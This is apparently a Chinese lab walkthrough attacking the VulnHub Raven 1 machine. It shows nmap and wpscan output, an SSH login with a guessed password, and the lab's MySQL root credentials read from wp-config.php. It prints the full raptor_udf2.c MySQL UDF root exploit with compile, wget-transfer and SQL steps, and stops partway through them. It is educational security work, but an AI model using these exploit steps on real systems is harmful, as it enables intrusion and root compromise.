|     Path: http://192.168.56.118:80/js/jquery.sticky.js
|     Line number: 4
|     Comment: 
|         
|         // Improvements by German M. Bravo (Kronuz) and Ruud Kamphuis (ruudk)
|     
|     Path: http://192.168.56.118:80/js/mail-script.js
|     Line number: 8
|     Comment: 
|          // form submit event
|     
|     Path: http://192.168.56.118:80/about.html
|     Line number: 90
|     Comment: 
|         <!-- Start about-top Area -->
|     
|     Path: http://192.168.56.118:80/about.html
|     Line number: 167
|     Comment: 
|         <!-- Start fact Area -->
|     
|     Path: http://192.168.56.118:80/about.html
|     Line number: 111
|     Comment: 
|         <!-- Start service Area -->
|     
|     Path: http://192.168.56.118:80/css/main.css
|     Line number: 3306
|     Comment: 
|         /*
|         ################
|                        Start Blog Details  Page style
|         ################
|         */
|     
|     Path: http://192.168.56.118:80/contact.php
|     Line number: 89
|     Comment: 
|         <!-- Start contact-page Area -->
|     
|     Path: http://192.168.56.118:80/css/main.css
|     Line number: 3301
|     Comment: 
|         /*
|         ################
|                        End Blog Home  Page style
|         ################
|         */
|     
|     Path: http://192.168.56.118:80/css/owl.carousel.css
|     Line number: 1
|     Comment: 
|         
|         
|         
|         
|          */
|     
|     Path: http://192.168.56.118:80/js/mail-script.js
|     Line number: 4
|     Comment: 
|          // contact form
|     
|     Path: http://192.168.56.118:80/about.html
|     Line number: 8
|     Comment: 
|         <!-- Author Meta -->
|     
|     Path: http://192.168.56.118:80/about.html
|     Line number: 267
|     Comment: 
|         <!-- End team Area -->
|     
|     Path: http://192.168.56.118:80/wordpress/
|     Line number: 74
|     Comment: 
|         <!-- .wrap -->
|     
|     Path: http://192.168.56.118:80/css/main.css
|     Line number: 2046
|     Comment: 
|         /* Nav Meu Container */
|     
|     Path: http://192.168.56.118:80/about.html
|     Line number: 165
|     Comment: 
|         <!-- End service Area -->
|     
|     Path: http://192.168.56.118:80/css/main.css
|     Line number: 5
|     Comment: 
|         /* Wide Mobile Layout: 480px */
|     
|     Path: http://192.168.56.118:80/js/mail-script.js
|     Line number: 5
|     Comment: 
|          // submit button
|     
|     Path: http://192.168.56.118:80/about.html
|     Line number: 318
|     Comment: 
|         <!-- End footer Area -->
|     
|     Path: http://192.168.56.118:80/js/jquery.sticky.js
|     Line number: 2
|     Comment: 
|         
|         // =============
|     
|     Path: http://192.168.56.118:80/about.html
|     Line number: 110
|     Comment: 
|         <!-- End about-top Area -->
|     
|     Path: http://192.168.56.118:80/about.html
|     Line number: 194
|     Comment: 
|         <!-- end fact Area -->
|     
|     Path: http://192.168.56.118:80/js/mail-script.js
|     Line number: 1
|     Comment: 
|          // -------   Mail Send ajax
|     
|     Path: http://192.168.56.118:80/js/jquery.sticky.js
|     Line number: 10
|     Comment: 
|         
|         //       It will only set the 'top' and 'position' of your element, you
|     
|     Path: http://192.168.56.118:80/css/main.css
|     Line number: 3065
|     Comment: 
|         /*
|         ################
|                        Start Blog Home  Page style
|         ################
|         */
|     
|     Path: http://192.168.56.118:80/css/bootstrap.css
|     Line number: 1
|     Comment: 
|         /*!
|          * Bootstrap v4.0.0-beta (https://getbootstrap.com)
|          * Copyright 2011-2017 The Bootstrap Authors
|          * Copyright 2011-2017 Twitter, Inc.
|          * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
|          */
|     
|     Path: http://192.168.56.118:80/index.html
|     Line number: 293
|     Comment: 
|         <!-- Start blog Area -->
|     
|     Path: http://192.168.56.118:80/css/main.css
|     Line number: 1875
|     Comment: 
|         /*--------------------------------------------------------------
|         # Header
|         --------------------------------------------------------------*/
|     
|     Path: http://192.168.56.118:80/css/main.css
|     Line number: 2130
|     Comment: 
|         /* Mobile Nav Styling */
|     
|     Path: http://192.168.56.118:80/about.html
|     Line number: 6
|     Comment: 
|         <!-- Favicon-->
|     
|     Path: http://192.168.56.118:80/js/mail-script.js
|     Line number: 6
|     Comment: 
|          // alert div for show alert message
|     
|     Path: http://192.168.56.118:80/css/main.css
|     Line number: 1986
|     Comment: 
|         /*--------------------------------------------------------------
|         # Navigation Menu
|         --------------------------------------------------------------*/
|     
|     Path: http://192.168.56.118:80/about.html
|     Line number: 71
|     Comment: 
|         <!-- #header -->
|     
|     Path: http://192.168.56.118:80/about.html
|     Line number: 88
|     Comment: 
|         <!-- End banner Area -->
|     
|     Path: http://192.168.56.118:80/js/mail-script.js
|     Line number: 24
|     Comment: 
|          // reset submit button text
|     
|     Path: http://192.168.56.118:80/index.html
|     Line number: 241
|     Comment: 
|_        <!-- Start galery Area -->
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.56.118
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://192.168.56.118:80/
|     Form id: 
|     Form action: https://spondonit.us12.list-manage.com/subscribe/post?u=1462626880ade1ac87bd9c93a&id=92a4423d01
|     
|     Path: http://192.168.56.118:80/contact.php
|     Form id: myform
|     Form action: 
|     
|     Path: http://192.168.56.118:80/contact.php
|     Form id: 
|     Form action: https://spondonit.us12.list-manage.com/subscribe/post?u=1462626880ade1ac87bd9c93a&id=92a4423d01
|     
|     Path: http://192.168.56.118:80/team.html
|     Form id: 
|     Form action: https://spondonit.us12.list-manage.com/subscribe/post?u=1462626880ade1ac87bd9c93a&id=92a4423d01
|     
|     Path: http://192.168.56.118:80/index.html
|     Form id: 
|     Form action: https://spondonit.us12.list-manage.com/subscribe/post?u=1462626880ade1ac87bd9c93a&id=92a4423d01
|     
|     Path: http://192.168.56.118:80/about.html
|     Form id: 
|     Form action: https://spondonit.us12.list-manage.com/subscribe/post?u=1462626880ade1ac87bd9c93a&id=92a4423d01
|     
|     Path: http://192.168.56.118:80/wordpress/
|     Form id: search-form-5e446a40901ba
|_    Form action: http://raven.local/wordpress/
|_http-date: Wed, 12 Feb 2020 21:12:24 GMT; +8h00m00s from local time.
|_http-devframework: Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /wordpress/: Blog
|   /wordpress/wp-login.php: Wordpress login page.
|   /css/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
|   /img/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
|   /js/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
|   /manual/: Potentially interesting folder
|_  /vendor/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
| http-errors: 
| Spidering limited to: maxpagecount=40; withinhost=192.168.56.118
|   Found the following error pages: 
|   
|   Error Code: 404
|       http://192.168.56.118:80/blog-single.html
|   
|   Error Code: 404
|       http://192.168.56.118:80/contact.html
|   
|   Error Code: 404
|_      http://192.168.56.118:80/wordpress/%5c%22
|_http-feed: ERROR: Script execution failed (use -d to debug)
|_http-fetch: Please enter the complete path of the directory to save data in.
| http-grep: 
|   (1) http://192.168.56.118:80/contact.php: 
|     (1) email: 
|       + support@codethemes.com
|   (1) http://192.168.56.118:80/blog-single.html: 
|     (1) ip: 
|_      + 192.168.56.118
| http-headers: 
|   Date: Wed, 12 Feb 2020 21:12:23 GMT
|   Server: Apache/2.4.10 (Debian)
|   Last-Modified: Sun, 12 Aug 2018 22:29:32 GMT
|   ETag: "41b3-5734482bdcb00"
|   Accept-Ranges: bytes
|   Content-Length: 16819
|   Vary: Accept-Encoding
|   Connection: close
|   Content-Type: text/html
|   
|_  (Request type: HEAD)
|_http-malware-host: Host appears to be clean
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-mobileversion-checker: No mobile version detected.
| http-referer-checker: 
| Spidering limited to: maxpagecount=30
|_  https://cdnjs.cloudflare.com:443/ajax/libs/popper.js/1.12.9/umd/popper.min.js
|_http-security-headers: 
| http-sitemap-generator: 
|   Directory structure:
|     /
|       Other: 1; html: 1
|     /css/
|       css: 6
|     /img/
|       jpg: 4; png: 1
|     /js/
|       js: 5
|     /wordpress/
|       Other: 1
|   Longest directory structure:
|     Depth: 1
|     Dir: /css/
|   Total files found (by extension):
|_    Other: 2; css: 6; html: 1; jpg: 4; js: 5; png: 1
|_http-slowloris: false
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-title: Raven Security
| http-traceroute: 
|_  Possible reverse proxy detected.
| http-useragent-tester: 
|   Status for browser useragent: 200
|   Allowed User Agents: 
|     Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)
|     libwww
|     lwp-trivial
|     libcurl-agent/1.0
|     PHP/
|     Python-urllib/2.5
|     GT::WWW
|     Snoopy
|     MFC_Tear_Sample
|     HTTP::Lite
|     PHPCrawl
|     URI::Fetch
|     Zend_Http_Client
|     http client
|     PECL::HTTP
|     Wget/1.13.4 (linux-gnu)
|_    WWW-Mechanize/1.34
| http-vhosts: 
| 126 names had status 200
|_ftp0
|_http-xssed: ERROR: Script execution failed (use -d to debug)
111/tcp   open  rpcbind 2-4 (RPC #100000)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          36286/tcp   status
|   100024  1          43516/udp   status
|   100024  1          46344/udp6  status
|_  100024  1          56752/tcp6  status
36286/tcp open  status  1 (RPC #100024)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
```

将攻击机的hosts文件中添加

``` bash
192.168.56.118 raven.local
```

访问下面的url发现该站点是wordpress搭建的

``` bash
http://192.168.56.118/wordpress/
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub211.jpg)

因此，想到的第一个想法是运行wpscan并查看该扫描所枚举的内容。


``` bash
root@kali:~/vulnhub/raven1# wpscan --url http://192.168.56.118/wordpress/ --wp-content-dir -ep -et -eu
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.7.6
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]n
[+] URL: http://192.168.56.118/wordpress/
[+] Started: Fri Feb 14 04:34:24 2020

Interesting Finding(s):

[+] http://192.168.56.118/wordpress/
 | Interesting Entry: Server: Apache/2.4.10 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] http://192.168.56.118/wordpress/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] http://192.168.56.118/wordpress/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] http://192.168.56.118/wordpress/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.8.7 identified (Insecure, released on 2018-07-05).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://192.168.56.118/wordpress/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=4.8.7'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://192.168.56.118/wordpress/, Match: 'WordPress 4.8.7'

[i] The main theme could not be detected.

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <=============================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] michael
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] steven
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)
```

结果返回了在受害人机器上创建的2位用户：

Michael and Steven

#### getshell

继续在同一端口上进行操作,尝试使用端口22（SSH）。将用户名和密码也使用相同的单词是一种非常合乎逻辑的“尝试”方法。使用“michael”作为用户名和密码登录到SSH并成功进入Shell！

``` bash
root@kali:~# ssh michael@192.168.56.118
The authenticity of host '192.168.56.118 (192.168.56.118)' can't be established.
ECDSA key fingerprint is SHA256:rCGKSPq0sUfa5mqn/8/M0T63OxqkEIR39pi835oSDo8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.118' (ECDSA) to the list of known hosts.
Enter passphrase for key '/root/.ssh/id_rsa': 
michael@192.168.56.118's password: 

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
michael@Raven:~$ id
uid=1000(michael) gid=1000(michael) groups=1000(michael),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
michael@Raven:~$ whoami
michael
```

然后，将目录更改为/tmp并导入了LinEnum.sh，该脚本用于枚举许多基本和高级Linux详细信息。它托管在本地计算机上的文件夹中，并使用wget命令导入到受害者计算机中。

``` bash
root@kali:~# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
192.168.56.1 - - [14/Feb/2020 04:45:37] "GET / HTTP/1.1" 200 -
192.168.56.1 - - [14/Feb/2020 04:45:41] "GET /LinEnum.sh HTTP/1.1" 200 -
192.168.56.118 - - [14/Feb/2020 04:46:02] "GET /LinEnum.sh HTTP/1.1" 200 -

michael@Raven:/tmp$ wget 192.168.56.102:8000/LinEnum.sh
--2020-02-15 04:46:01--  http://192.168.56.102:8000/LinEnum.sh
Connecting to 192.168.56.102:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46476 (45K) [text/x-sh]
Saving to: ‘LinEnum.sh’

LinEnum.sh                     100%[=====================================================>]  45.39K  --.-KB/s   in 0s     

2020-02-15 04:46:01 (470 MB/s) - ‘LinEnum.sh’ saved [46476/46476]

michael@Raven:/tmp$ chmod 777 *
michael@Raven:/tmp$ ls
LinEnum.sh
michael@Raven:/tmp$ ls -la
total 76
drwxrwxrwt  7 root    root     4096 Feb 15 04:46 .
drwxr-xr-x 22 root    root     4096 Aug 13  2018 ..
drwxrwxrwt  2 root    root     4096 Feb 15 04:11 .font-unix
drwxrwxrwt  2 root    root     4096 Feb 15 04:11 .ICE-unix
-rwxrwxrwx  1 michael michael 46476 Dec 21 00:44 LinEnum.sh
drwxrwxrwt  2 root    root     4096 Feb 15 04:11 .Test-unix
drwxrwxrwt  2 root    root     4096 Feb 15 04:11 .X11-unix
drwxrwxrwt  2 root    root     4096 Feb 15 04:11 .XIM-unix
```

然后运行脚本发现下面敏感信息输出结果如下
发现MySQL服务正在运行（端口3306很明显）。

``` bash
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:587           0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:60286           0.0.0.0:*               LISTEN      -               
tcp6       0      0 :::111                  :::*                    LISTEN      -               
tcp6       0      0 :::80                   :::*                    LISTEN      -               
tcp6       0      0 :::22                   :::*                    LISTEN      -               
tcp6       0      0 :::39258                :::*                    LISTEN      -               

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
udp        0      0 0.0.0.0:8641            0.0.0.0:*                           -               
udp        0      0 0.0.0.0:43233           0.0.0.0:*                           -               
udp        0      0 0.0.0.0:995             0.0.0.0:*                           -               
udp        0      0 127.0.0.1:1005          0.0.0.0:*                           -               
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -               
udp        0      0 0.0.0.0:111             0.0.0.0:*                           -               
udp6       0      0 :::11443                :::*                                -               
udp6       0      0 :::995                  :::*                                -               
udp6       0      0 :::52570                :::*                                -               
udp6       0      0 :::111                  :::*                                -
```

发现了一个MySQL开发漏洞，远程root代码执行，Privesc漏洞！

参考[MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662](https://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html)

``` bash
root       547  0.0  0.3   4340  1620 ?        S    04:11   0:00 /bin/sh /usr/bin/mysqld_safe
root       895  0.0  4.5 232508 23072 ?        Ss   04:11   0:00 /usr/sbin/apache2 -k start
root       922  0.0 10.2 814920 51920 ?        Sl   04:12   0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=root --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306
www-data   986  0.0  7.3 238928 37300 ?        S    04:12   0:00 /usr/sbin/apache2 -k start
www-data   987  0.0  6.8 236172 34664 ?        S    04:12   0:00 /usr/sbin/apache2 -k start
www-data   988  0.0  6.1 234084 31328 ?        S    04:12   0:00 /usr/sbin/apache2 -k start
```

因此，将当前目录更改为/var/www/html/wordpress并搜索了wp-config文件，因为该文件具有MySQL数据库的密码。

``` bash
michael@Raven:/tmp$ cd /var/www/html/wordpress
michael@Raven:/var/www/html/wordpress$ ls
index.php    wp-activate.php     wp-comments-post.php  wp-content   wp-links-opml.php  wp-mail.php      wp-trackback.php
license.txt  wp-admin            wp-config.php         wp-cron.php  wp-load.php        wp-settings.php  xmlrpc.php
readme.html  wp-blog-header.php  wp-config-sample.php  wp-includes  wp-login.php       wp-signup.php
michael@Raven:/var/www/html/wordpress$ cat wp-con
wp-config.php         wp-config-sample.php  wp-content/           
michael@Raven:/var/www/html/wordpress$ cat wp-config.php 
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the
 * installation. You don't have to use the web site, you can
 * copy this file to "wp-config.php" and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://codex.wordpress.org/Editing_wp-config.php
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

/**#@+
 * Authentication Unique Keys and Salts.
 *
 * Change these to different unique phrases!
 * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
 * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define('AUTH_KEY',         '0&ItXmn^q2d[e*yB:9,L:rR<B`h+DG,zQ&SN{Or3zalh.JE+Q!Gi:L7U[(T:J5ay');
define('SECURE_AUTH_KEY',  'y@^[*q{)NKZAKK{,AA4y-Ia*swA6/O@&*r{+RS*N!p1&a$*ctt+ I/!?A/Tip(BG');
define('LOGGED_IN_KEY',    '.D4}RE4rW2C@9^Bp%#U6i)?cs7,@e]YD:R~fp#hXOk$4o/yDO8b7I&/F7SBSLPlj');
define('NONCE_KEY',        '4L{Cq,%ce2?RRT7zue#R3DezpNq4sFvcCzF@zdmgL/fKpaGX:EpJt/]xZW1_H&46');
define('AUTH_SALT',        '@@?u*YKtt:o/T&V;cbb`.GaJ0./S@dn$t2~n+lR3{PktK]2,*y/b%<BH-Bd#I}oE');
define('SECURE_AUTH_SALT', 'f0Dc#lKmEJi(:-3+x.V#]Wy@mCmp%njtmFb6`_80[8FK,ZQ=+HH/$& mn=]=/cvd');
define('LOGGED_IN_SALT',   '}STRHqy,4scy7v >-..Hc WD*h7rnYq]H`-glDfTVUaOwlh!-/?=3u;##:Rj1]7@');
define('NONCE_SALT',       'i(#~[sXA TbJJfdn&D;0bd`p$r,~.o/?%m<H+<>Vj+,nLvX!-jjjV-o6*HDh5Td{');

/**#@-*/

/**
 * WordPress Database Table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix  = 'wp_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the Codex.
 *
 * @link https://codex.wordpress.org/Debugging_in_WordPress
 */
define('WP_DEBUG', false);

/* That's all, stop editing! Happy blogging. */

/** Absolute path to the WordPress directory. */
if ( !defined('ABSPATH') )
        define('ABSPATH', dirname(__FILE__) . '/');

/** Sets up WordPress vars and included files. */
require_once(ABSPATH . 'wp-settings.php');
```

发现密码为：

``` bash
R@v3nSecurity
```

#### 发现第一个flag

``` bash
michael@Raven:/var/www/html/wordpress$ find / -name "flag*" 2>/dev/null
/var/www/flag2.txt
/usr/share/doc/apache2-doc/manual/tr/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/ja/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/ko/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/zh-cn/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/de/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/es/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/da/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/pt-br/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/fr/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/en/rewrite/flags.html
/sys/devices/pci0000:00/0000:00:11.0/net/eth0/flags
/sys/devices/virtual/net/lo/flags
/sys/devices/platform/serial8250/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
michael@Raven:/var/www/html/wordpress$ cat /var/www/flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
```

#### mysql udf提权

因此，搜索了UDF动态库漏洞利用程序，并在漏洞利用数据库中将其命名为“1518.c”。

MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2)

``` bash
/*
 * $Id: raptor_udf2.c,v 1.1 2006/01/18 17:58:54 raptor Exp $
 *
 * raptor_udf2.c - dynamic library for do_system() MySQL UDF
 * Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * This is an helper dynamic library for local privilege escalation through
 * MySQL run with root privileges (very bad idea!), slightly modified to work 
 * with newer versions of the open-source database. Tested on MySQL 4.1.14.
 *
 * See also: http://www.0xdeadbeef.info/exploits/raptor_udf.c
 *
 * Starting from MySQL 4.1.10a and MySQL 4.0.24, newer releases include fixes
 * for the security vulnerabilities in the handling of User Defined Functions
 * (UDFs) reported by Stefano Di Paola <stefano.dipaola@wisec.it>. For further
 * details, please refer to:
 *
 * http://dev.mysql.com/doc/refman/5.0/en/udf-security.html
 * http://www.wisec.it/vulns.php?page=4
 * http://www.wisec.it/vulns.php?page=5
 * http://www.wisec.it/vulns.php?page=6
 *
 * "UDFs should have at least one symbol defined in addition to the xxx symbol 
 * that corresponds to the main xxx() function. These auxiliary symbols 
 * correspond to the xxx_init(), xxx_deinit(), xxx_reset(), xxx_clear(), and 
 * xxx_add() functions". -- User Defined Functions Security Precautions 
 *
 * Usage:
 * $ id
 * uid=500(raptor) gid=500(raptor) groups=500(raptor)
 * $ gcc -g -c raptor_udf2.c
 * $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
 * $ mysql -u root -p
 * Enter password:
 * [...]
 * mysql> use mysql;
 * mysql> create table foo(line blob);
 * mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
 * mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
 * mysql> create function do_system returns integer soname 'raptor_udf2.so';
 * mysql> select * from mysql.func;
 * +-----------+-----+----------------+----------+
 * | name      | ret | dl             | type     |
 * +-----------+-----+----------------+----------+
 * | do_system |   2 | raptor_udf2.so | function |
 * +-----------+-----+----------------+----------+
 * mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
 * mysql> \! sh
 * sh-2.05b$ cat /tmp/out
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
 * [...]
 *
 * E-DB Note: Keep an eye on https://github.com/mysqludf/lib_mysqludf_sys
 *
 */

#include <stdio.h>
#include <stdlib.h>

enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};

typedef struct st_udf_args {
	unsigned int		arg_count;	// number of arguments
	enum Item_result	*arg_type;	// pointer to item_result
	char 			**args;		// pointer to arguments
	unsigned long		*lengths;	// length of string args
	char			*maybe_null;	// 1 for maybe_null args
} UDF_ARGS;

typedef struct st_udf_init {
	char			maybe_null;	// 1 if func can return NULL
	unsigned int		decimals;	// for real functions
	unsigned long 		max_length;	// for string functions
	char			*ptr;		// free ptr for func data
	char			const_item;	// 0 if result is constant
} UDF_INIT;

int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
	if (args->arg_count != 1)
		return(0);

	system(args->args[0]);

	return(0);
}

char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
	return(0);
}

// milw0rm.com [2006-02-20]
```

该漏洞利用是通过将原始C代码编译为“.so”文件，将其传输到受害计算机并利用MySQL漏洞来运行的。第一步是对其进行编译。

``` bash
root@kali:~/vulnhub/raven1# cp /usr/share/exploitdb/exploits/linux/local/1518.c .
root@kali:~/vulnhub/raven1# ls
1518.c
root@kali:~/vulnhub/raven1# gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc
root@kali:~/vulnhub/raven1# ls
1518.c  1518.so
```

然后，启动了本地服务器，并将此1518.so文件传输到受害人的/tmp目录，因为使用wget命令可以通用地读取和写入该文件。

``` bash
root@kali:~/vulnhub/raven1# python -m SimpleHTTPServer 
Serving HTTP on 0.0.0.0 port 8000 ...
192.168.56.1 - - [14/Feb/2020 05:55:48] "GET / HTTP/1.1" 200 -
192.168.56.1 - - [14/Feb/2020 05:55:55] "GET / HTTP/1.1" 200 -
192.168.56.118 - - [14/Feb/2020 05:56:12] "GET /1518.so HTTP/1.1" 200 -
```

``` bash
michael@Raven:/tmp$ wget 192.168.56.102:8000/1518.so
--2020-02-15 05:56:10--  http://192.168.56.102:8000/1518.so
Connecting to 192.168.56.102:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19088 (19K) [application/octet-stream]
Saving to: ‘1518.so’

1518.so                        100%[=====================================================>]  18.64K  --.-KB/s   in 0s     

2020-02-15 05:56:10 (150 MB/s) - ‘1518.so’ saved [19088/19088]

michael@Raven:/tmp$ chmod 777 *
michael@Raven:/tmp$ ls -la
total 152
drwxrwxrwt  7 root    root     4096 Feb 15 05:56 .
drwxr-xr-x 22 root    root     4096 Aug 13  2018 ..
-rwxrwxrwx  1 michael michael 19088 Feb 14 21:50 1518.so
drwxrwxrwt  2 root    root     4096 Feb 15 04:11 .font-unix
drwxrwxrwt  2 root    root     4096 Feb 15 04:11 .ICE-unix
-rwxrwxrwx  1 michael michael 55193 Feb 15 04:48 info.txt
-rwxrwxrwx  1 michael michael 46476 Dec 21 00:44 LinEnum.sh
drwxrwxrwt  2 root    root     4096 Feb 15 04:11 .Test-unix
drwxrwxrwt  2 root    root     4096 Feb 15 04:11 .X11-unix
drwxrwxrwt  2 root    root     4096 Feb 15 04:11 .XIM-unix
```

下面连接数据库开始提权

``` bash
michael@Raven:/tmp$ mysql -uroot -pR@v3nSecurity
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 70
Server version: 5.5.60-0+deb8u1 (Debian)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| wordpress          |
+--------------------+
4 rows in set (0.01 sec)

mysql>
```

在获得MySQL Shell之后，开始使用刚刚发现的漏洞来利用它

``` bash
mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
```

现在，创建一个名为“foo”的表在此表中，将链接插入了刚刚从本地计算机导入到/tmp目录的1518.so文件。将相同的文件转储到/usr/lib/mysql/plugin/目录（因为它容易受到攻击）在最重要的步骤中，创建了一个名为do_system的UDF函数，该函数将调用实现该函数的代码。因此，正在调用代码“chmod u + s /usr/bin/ find”以将粘性位设置为“find”

``` bash
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.00 sec)

